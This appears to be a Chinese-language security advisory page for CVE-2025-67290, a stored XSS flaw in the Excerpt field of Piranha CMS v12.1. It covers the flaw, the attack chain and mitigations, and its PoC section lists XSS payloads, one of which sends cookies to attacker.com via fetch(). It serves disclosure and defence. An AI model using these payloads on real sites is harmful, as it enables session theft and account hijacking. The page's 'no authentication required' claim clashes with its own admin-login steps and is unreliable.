IPBUF安全漏洞报告
English
CVE-2025-67290 CVSS 6.1 中危

CVE-2025-67290 Piranha CMS v12.1 Page Settings存储型XSS漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2025-67290
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Piranha CMS v12.1

相关标签

存储型XSS跨站脚本Piranha CMSCVE-2025-67290Web安全内容管理系统页面设置认证后漏洞中等严重性

漏洞概述

CVE-2025-67290是Piranha CMS v12.1中发现的一个存储型跨站脚本(XSS)安全漏洞。该漏洞位于Page Settings(页面设置)模块中,具体是在Excerpt(摘要)字段处。攻击者可以通过在Excerpt字段中注入精心构造的恶意脚本载荷,当其他用户访问包含该摘要内容的页面时,恶意脚本将在受害者浏览器中执行。存储型XSS相比反射型XSS更为危险,因为恶意载荷被永久存储在服务器端,所有访问该内容的用户都会受到攻击影响。攻击者可以利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或在用户浏览器中执行任意操作。该漏洞无需认证即可利用,但需要诱导用户访问触发漏洞的页面,具有一定的社交工程属性。CVSS 3.1评分6.1(中等),主要因为其需要用户交互且影响范围有限。

技术细节

漏洞位于Piranha CMS v12.1的Page Settings模块中,具体是在处理页面摘要内容时未对用户输入进行充分的HTML转义处理。当管理员或内容编辑者在创建或编辑页面时,在Excerpt字段中输入包含JavaScript代码的内容,系统未对该字段内容进行适当的输入验证和输出编码就直接存储到数据库中。当其他用户访问该页面或查看相关列表时,带有恶意脚本的内容被从数据库取出并渲染到HTML页面中,由于缺少转义处理,浏览器会将注入的JavaScript代码作为合法脚本执行。攻击者可以利用此漏洞执行任意JavaScript代码,包括窃取用户凭证、重定向用户到恶意网站、修改页面内容或进行进一步的攻击。由于是存储型XSS,恶意代码会持久存在于系统中,只要包含该摘要内容的页面被访问,攻击就会生效。修复方案需要在输出时对Excerpt字段进行HTML特殊字符转义,或在输入时实施严格的输入验证。

攻击链分析

STEP 1
步骤1
攻击者访问Piranha CMS v12.1的管理后台,定位到页面设置模块
STEP 2
步骤2
在创建或编辑页面时,攻击者在Excerpt字段中注入恶意XSS载荷,如<script>alert(document.cookie)</script>
STEP 3
步骤3
系统未对输入内容进行充分过滤和转义,将恶意载荷存储到数据库中
STEP 4
步骤4
当普通用户访问包含该摘要内容的页面时,服务器从数据库取出未转义的内容并嵌入到HTML响应中
STEP 5
步骤5
受害者浏览器解析HTML时,将注入的恶意脚本作为合法JavaScript代码执行,导致会话Cookie被窃取或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-67290 PoC - Stored XSS in Piranha CMS v12.1 --> <!-- Inject this payload into the Excerpt field in Page Settings --> Payload: <script>alert(document.cookie)</script> <!-- More advanced payload for session hijacking --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie) </script> <!-- Image tag based XSS --> <img src=x onerror="alert('XSS Triggered')"> <!-- Event handler based XSS --> <body onload="alert(document.domain)"> <!-- Steps to reproduce: 1. Log in to Piranha CMS admin panel 2. Navigate to Pages > Page Settings 3. Find the Excerpt field 4. Inject the XSS payload above 5. Save the page 6. View the page as any user 7. The XSS will execute in the victim's browser -->

影响范围

Piranha CMS v12.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制管理后台访问权限,仅允许受信任的IP地址访问;2)对Excerpt字段实施输入长度限制和字符白名单过滤;3)启用浏览器的XSS过滤器作为辅助防护;4)监控日志中的异常请求模式;5)考虑临时禁用页面摘要功能或手动审查所有页面摘要内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表